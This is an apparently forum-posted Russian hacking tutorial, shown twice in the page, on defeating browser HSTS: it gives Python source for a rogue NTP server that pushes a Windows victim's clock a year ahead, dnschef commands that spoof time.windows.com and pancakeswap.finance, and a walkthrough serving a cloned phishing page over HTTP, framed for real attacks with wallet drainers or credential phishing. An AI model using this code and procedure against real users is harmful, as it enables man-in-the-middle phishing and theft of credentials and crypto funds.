Обход HSTS при mitm и фишинг атаках через вредоносный DNS
Всем привет, любой кому на практике в реальной жизни приходилось реализовывать таргетные или массовые mitm атаки, или отравления dns серверов - сталкивались с защитой HSTS которая сильно портит всю малину
Http Strict Transport Security - (аббривеатура по первым буквам) это механизм который появился в браузерах примерно в 2013. Он заставляет браузеры использовать ТОЛЬКО HTTPS соединения для определённых доменов, предотвращая атаки mitm и downgrade HTTPS к HTTP (которые реализиуются например через инструменты типа sslstrip).
HSTS также защищает при фишинге через вредоносный dns - днс сервер хакера возвращает левый ip для домена (например для paypal.com), браузер юзера сначала подключается к нему по tcp, затем просит tls сертификат для paypal.com (которого у нас конечно же нету) - и далее обычно мы пытаемся сделать одно из двух:
1)перевести юзера на http что фишить прямо на оригинальном домене (без зеленого замочка)
2) перевести юзера на http и вернуть ему html страницу с моментальным редиректом на наш похожий фишинг домен с зеленым замочком (типо paypai.com)
Никакое из этих действий невозможно сделать если в браузере жертвы храниться HSTS запись - потому что оба требуют downgrade соединения до http.
Браузер просто остановиться на l4 уровне соединения, не загрузив вообще никакой веб контент
HSTS устанавливается через http заголовок в ответе сайта, устанавливающий политику на определённый срок (max-age) при первом посещении сайта юзером.
Но для некоторых самых популярных сайтов hsts записи содержаться в браузере изначально, вот этот список https://source.chromium.org/chromiu...net/http/transport_security_state_static.json
В нем самые популярные сайты типо facebook, paypal, binance, bank of america и т.д
Пример этого http заголовка в ответе:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
где:
max-age: Указывает срок действия политики в секундах (например, 31536000 — это год)
includeSubdomains - необязательный параметр, если установлен, то политика HSTS применяется к посещенному домену и всем поддоменам. Если нет, то только к точному домену, который посетил пользователь.
preload: Опционально позволяет включить сайт в предзагруженный список браузеров для постоянной защиты.
Этот заголовок отправляется сервером в ответе на HTTPS-запрос и сохраняется браузером в отдельной памяти в бинарном файле на указанный срок
Во время сессии браузер держит копию HSTS-таблицы в оперативной памяти для быстрых проверок. При закрытии браузера таблица синхронизируется с дисковой версией.
После истечения срока действия hsts записи (определяемого параметром max-age), браузер считает её "expired", если дата истечения находится в прошлом. Браузер может удалить такие истекшие записи из своего кэша hsts хостов. Это предотвращает накопление устаревших политик и позволяет браузеру вернуться к обычному поведению (разрешить HTTP, если сайт не в предзагруженном списке).
Еще раз, после истечения hsts записи браузер ее удаляет, и в этом заключается наш главный трюк. Что если изменить системное время юзера немного в будущее, когда запись будет считаться истекшей. Но как это сделать? В Windows система узнает время через обращение к NTP серверам по протоколу udp и без шифрования, что означает что если мы выступаем в качестве mitm - можем легко перехватить и модифицировать ответ на запрос текущего времени.
В Windows по умолчанию используется сервер через домен time.windows.com, а не конкретный захардкоженный ip адрес - а это значит что если мы используем фишинг через отравленный или вредоносный DNS сервер, мы можем подменить и time.windows.com, вернув юзеру время с небольшим смещением в будущее
Служба времени Windows (W32Time) отвечает за синхронизацию времени, она запускается автоматически и периодически отправляет запросы к NTP серверам. Windows использует UDP порт 123 для связи с NTP серверами. Сервер возвращает временную метку, которую система корректирует с учетом задержек сети.
Кроме time.windows.com также могут быть запросы к региональным поддоменам пула, например:
0.pool.ntp.org
1.pool.ntp.org
Или региональным серверам, например europe.pool.ntp.org (для Европы).
У других устройств (андроид и эпл) это time.android.com, time.apple.com, time-ios.apple.com
Этот обход сработает только для доменов которых нет в HSTS preload https://source.chromium.org/chromiu...net/http/transport_security_state_static.json
Если домен в предзагруженном списке, изменение времени не поможет, поскольку preload игнорирует локальный кэш, не может быть просрочен и всегда использует HTTPS
Напишем на питоне NTPv4 сервер, который на запросы времени будет отвечать со смещением в будущее на год %текущее время% + 31536000 секунд
Запускаем
для теста устанавливаем ntpsec-ntpdat
и пробуем сделать запрос времени ntpdate -q 127.0.0.1
Видим что сервер возвращает время которое спешит на год. Не обязательно использовать такой большой срок, иногда хватает месяца или полгода
Теперь запускаем dnschef, с аргументом на подмену домена time.windows.com на ip нашего сервера
dnschef --interface 0.0.0.0 --fakeip 127.0.0.1 --fakedomains time.windows.com
аргумент --interface 0.0.0.0 указывает что нужно слушать все интерфейсы
на другой виртуалке рядом у меня поднята винда, и при запросе
Пробуем узнать время напрямую в винде, посмотреть что возращает наш фейк ntp сервер
Вводим команду
И видим то что все работает, наш фейк ntp возвращает смещенное на 31536000 секунд вперед время.
Открываем в браузере на виртуалке https://pancakeswap.finance, чтобы браузер получил и сохранил hsts запись, пока что все нормально, мы видим оригинальный сайт
Траффик этой виртуалки проксируется через виртуальный dhcp, в котором dns указан 172.30.94.80 - это наш сервер на котором запущенн dnschef и фейк ntp сервер
При следующием обновлении времени (один раз в несколько дней) на компьютере жертвы (если у нее в роутере прописан наш dns) время сместиться и все сохраненные HSTS записи (кроме preload) удаляться из браузера до следующего посещения сайта с HSTS
Мы можем не ждать несколько дней, а запустить синхронизацию принудительно
Очищаем кеш днс и пробуем синхронизировать время на виртуалке через w32tm /resync
Наш dnschef отдает для time.windows.com наш 172.30.94.80 где крутиться фейк ntp сервер, запрос идет к нему и он возвращает винде смещенное на год время
Для теста мы выбрали pancakeswap.finance, у них как раз есть HSTS заголовок в ответе
Теперь я скачаю главную страницу сайта и весь используемый ею js и css контент, немного модифицирую чтобы вы увидели разницу и запущу на своем веб сервере, который будет отвечать на запросы с заголовком Host: pancakeswap.finance
А в dnschef укажу чтобы резолвил домен pancakeswap.finance на мой фишинг веб сервер
Время смещенно, dnschef запущен, фишинг вебсервер запущен, теперь закрываем браузер, очищаем dns кеш (он сам очищается через время, но мы не хотим ждать для теста) и открываем тот же панкейксвап, и...
Вуаля, браузер получил веб контент, без принудительного требования TLS сертификата, как будто никакого hsts и не было. Обратите внимание на надпись в центре и отсутсвие https, это не оригинальный сайт. Здесь я просто изменил надпись на глав странице, в реальных атаках вешают дрейнер или фишинг кредов
Таким методом вы можете обходить hsts веб защиту и успешно фишить любые сайты если жерта использует ваш днс. Конечно метод не всегда работает моментально, должно совпасть несколько факторов: время винды обновляется раз в несколько дней, и очистка днс кеша (сохраненных ip для уже посещенных доменов) тоже раз в неколько дней.
Надеюсь статья кому то поможет в нужный момент, когда придет время и это пригодиться
Всем удачи и успехов в хакинге : )
Всем привет, любой кому на практике в реальной жизни приходилось реализовывать таргетные или массовые mitm атаки, или отравления dns серверов - сталкивались с защитой HSTS которая сильно портит всю малину
Http Strict Transport Security - (аббривеатура по первым буквам) это механизм который появился в браузерах примерно в 2013. Он заставляет браузеры использовать ТОЛЬКО HTTPS соединения для определённых доменов, предотвращая атаки mitm и downgrade HTTPS к HTTP (которые реализиуются например через инструменты типа sslstrip).
HSTS также защищает при фишинге через вредоносный dns - днс сервер хакера возвращает левый ip для домена (например для paypal.com), браузер юзера сначала подключается к нему по tcp, затем просит tls сертификат для paypal.com (которого у нас конечно же нету) - и далее обычно мы пытаемся сделать одно из двух:
1)перевести юзера на http что фишить прямо на оригинальном домене (без зеленого замочка)
2) перевести юзера на http и вернуть ему html страницу с моментальным редиректом на наш похожий фишинг домен с зеленым замочком (типо paypai.com)
Никакое из этих действий невозможно сделать если в браузере жертвы храниться HSTS запись - потому что оба требуют downgrade соединения до http.
Браузер просто остановиться на l4 уровне соединения, не загрузив вообще никакой веб контент
Не удалось прогрузить медиа
HSTS устанавливается через http заголовок в ответе сайта, устанавливающий политику на определённый срок (max-age) при первом посещении сайта юзером.
Но для некоторых самых популярных сайтов hsts записи содержаться в браузере изначально, вот этот список https://source.chromium.org/chromiu...net/http/transport_security_state_static.json
В нем самые популярные сайты типо facebook, paypal, binance, bank of america и т.д
Пример этого http заголовка в ответе:
Не удалось прогрузить медиа
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
где:
max-age: Указывает срок действия политики в секундах (например, 31536000 — это год)
includeSubdomains - необязательный параметр, если установлен, то политика HSTS применяется к посещенному домену и всем поддоменам. Если нет, то только к точному домену, который посетил пользователь.
preload: Опционально позволяет включить сайт в предзагруженный список браузеров для постоянной защиты.
Этот заголовок отправляется сервером в ответе на HTTPS-запрос и сохраняется браузером в отдельной памяти в бинарном файле на указанный срок
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\TransportSecurity у Chrome%APPDATA%\Mozilla\Firefox\Profiles\<profile>\SiteSecurityServiceState.txt у firefoxВо время сессии браузер держит копию HSTS-таблицы в оперативной памяти для быстрых проверок. При закрытии браузера таблица синхронизируется с дисковой версией.
После истечения срока действия hsts записи (определяемого параметром max-age), браузер считает её "expired", если дата истечения находится в прошлом. Браузер может удалить такие истекшие записи из своего кэша hsts хостов. Это предотвращает накопление устаревших политик и позволяет браузеру вернуться к обычному поведению (разрешить HTTP, если сайт не в предзагруженном списке).
Еще раз, после истечения hsts записи браузер ее удаляет, и в этом заключается наш главный трюк. Что если изменить системное время юзера немного в будущее, когда запись будет считаться истекшей. Но как это сделать? В Windows система узнает время через обращение к NTP серверам по протоколу udp и без шифрования, что означает что если мы выступаем в качестве mitm - можем легко перехватить и модифицировать ответ на запрос текущего времени.
В Windows по умолчанию используется сервер через домен time.windows.com, а не конкретный захардкоженный ip адрес - а это значит что если мы используем фишинг через отравленный или вредоносный DNS сервер, мы можем подменить и time.windows.com, вернув юзеру время с небольшим смещением в будущее
Служба времени Windows (W32Time) отвечает за синхронизацию времени, она запускается автоматически и периодически отправляет запросы к NTP серверам. Windows использует UDP порт 123 для связи с NTP серверами. Сервер возвращает временную метку, которую система корректирует с учетом задержек сети.
Кроме time.windows.com также могут быть запросы к региональным поддоменам пула, например:
0.pool.ntp.org
1.pool.ntp.org
Или региональным серверам, например europe.pool.ntp.org (для Европы).
У других устройств (андроид и эпл) это time.android.com, time.apple.com, time-ios.apple.com
Этот обход сработает только для доменов которых нет в HSTS preload https://source.chromium.org/chromiu...net/http/transport_security_state_static.json
Если домен в предзагруженном списке, изменение времени не поможет, поскольку preload игнорирует локальный кэш, не может быть просрочен и всегда использует HTTPS
Реализация
Напишем на питоне NTPv4 сервер, который на запросы времени будет отвечать со смещением в будущее на год %текущее время% + 31536000 секунд
Python:
#!/usr/bin/env python3
import socket
import struct
import time
import threading
NTP_EPOCH = 2208988800
YEAR_AHEAD = 31_536_000
SERVER_PORT = 123
BIND_ADDRESS = '0.0.0.0'
BUFFER_SIZE = 1024
def unix_to_ntp_timestamp(unix_time):
ntp = unix_time + NTP_EPOCH
sec = int(ntp)
frac = int((ntp - sec) * (1 << 32))
return sec, frac
def pack_ntp_timestamp(sec, frac):
return struct.pack('!II', sec, frac)
def handle_request(data, addr, sock):
if len(data) < 48:
return
li_vn_mode = data[0]
version = (li_vn_mode >> 3) & 0x07
mode = li_vn_mode & 0x07
try:
originate_ts_sec, originate_ts_frac = struct.unpack('!II', data[40:48])
except struct.error:
originate_ts_sec = originate_ts_frac = 0
now_unix = time.time()
server_time_shifted = now_unix + YEAR_AHEAD
recv_sec, recv_frac = unix_to_ntp_timestamp(server_time_shifted)
tx_sec, tx_frac = recv_sec, recv_frac
ref_sec, ref_frac = recv_sec, recv_frac
vn = version if 1 <= version <= 4 else 4
li = 0
mode_server = 4
first_byte = (li << 6) | (vn << 3) | mode_server
stratum = 1
poll = 0
precision = -20
root_delay = 0
root_dispersion = 0
ref_id = b'LOCL'
pkt = struct.pack('!B B b b', first_byte, stratum, poll, precision)
pkt += struct.pack('!I I', root_delay, root_dispersion)
pkt += ref_id
pkt += pack_ntp_timestamp(ref_sec, ref_frac)
pkt += struct.pack('!II', originate_ts_sec, originate_ts_frac)
pkt += pack_ntp_timestamp(recv_sec, recv_frac)
pkt += pack_ntp_timestamp(tx_sec, tx_frac)
if len(pkt) < 48:
pkt = pkt.ljust(48, b'\x00')
try:
sock.sendto(pkt, addr)
except Exception:
pass
def serve(address=BIND_ADDRESS, port=SERVER_PORT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((address, port))
print(f'NTP (fast-by-1-year) server listening on {address}:{port}')
try:
while True:
data, addr = sock.recvfrom(BUFFER_SIZE)
threading.Thread(target=handle_request, args=(data, addr, sock), daemon=True).start()
except KeyboardInterrupt:
pass
finally:
sock.close()
if __name__ == '__main__':
serve()
Запускаем
Не удалось прогрузить медиа
для теста устанавливаем ntpsec-ntpdat
и пробуем сделать запрос времени ntpdate -q 127.0.0.1
Не удалось прогрузить медиа
Видим что сервер возвращает время которое спешит на год. Не обязательно использовать такой большой срок, иногда хватает месяца или полгода
Теперь запускаем dnschef, с аргументом на подмену домена time.windows.com на ip нашего сервера
dnschef --interface 0.0.0.0 --fakeip 127.0.0.1 --fakedomains time.windows.com
Не удалось прогрузить медиа
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
1761108090980.pngРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
аргумент --interface 0.0.0.0 указывает что нужно слушать все интерфейсы
на другой виртуалке рядом у меня поднята винда, и при запросе
Пробуем узнать время напрямую в винде, посмотреть что возращает наш фейк ntp сервер
Вводим команду
w32tm /stripchart /computer:192.168.189.130 /samples:5 /dataonlyНе удалось прогрузить медиа
И видим то что все работает, наш фейк ntp возвращает смещенное на 31536000 секунд вперед время.
Открываем в браузере на виртуалке https://pancakeswap.finance, чтобы браузер получил и сохранил hsts запись, пока что все нормально, мы видим оригинальный сайт
Не удалось прогрузить медиа
Траффик этой виртуалки проксируется через виртуальный dhcp, в котором dns указан 172.30.94.80 - это наш сервер на котором запущенн dnschef и фейк ntp сервер
При следующием обновлении времени (один раз в несколько дней) на компьютере жертвы (если у нее в роутере прописан наш dns) время сместиться и все сохраненные HSTS записи (кроме preload) удаляться из браузера до следующего посещения сайта с HSTS
Мы можем не ждать несколько дней, а запустить синхронизацию принудительно
Очищаем кеш днс и пробуем синхронизировать время на виртуалке через w32tm /resync
Наш dnschef отдает для time.windows.com наш 172.30.94.80 где крутиться фейк ntp сервер, запрос идет к нему и он возвращает винде смещенное на год время
Для теста мы выбрали pancakeswap.finance, у них как раз есть HSTS заголовок в ответе
Не удалось прогрузить медиа
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
1761181910044.pngРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Теперь я скачаю главную страницу сайта и весь используемый ею js и css контент, немного модифицирую чтобы вы увидели разницу и запущу на своем веб сервере, который будет отвечать на запросы с заголовком Host: pancakeswap.finance
А в dnschef укажу чтобы резолвил домен pancakeswap.finance на мой фишинг веб сервер
Не удалось прогрузить медиа
Время смещенно, dnschef запущен, фишинг вебсервер запущен, теперь закрываем браузер, очищаем dns кеш (он сам очищается через время, но мы не хотим ждать для теста) и открываем тот же панкейксвап, и...
Не удалось прогрузить медиа
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
screen.jpgРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Вуаля, браузер получил веб контент, без принудительного требования TLS сертификата, как будто никакого hsts и не было. Обратите внимание на надпись в центре и отсутсвие https, это не оригинальный сайт. Здесь я просто изменил надпись на глав странице, в реальных атаках вешают дрейнер или фишинг кредов
Таким методом вы можете обходить hsts веб защиту и успешно фишить любые сайты если жерта использует ваш днс. Конечно метод не всегда работает моментально, должно совпасть несколько факторов: время винды обновляется раз в несколько дней, и очистка днс кеша (сохраненных ip для уже посещенных доменов) тоже раз в неколько дней.
Надеюсь статья кому то поможет в нужный момент, когда придет время и это пригодиться
Всем удачи и успехов в хакинге : )
👍47
🔥8
🤔9
😢6
💯7
LIMB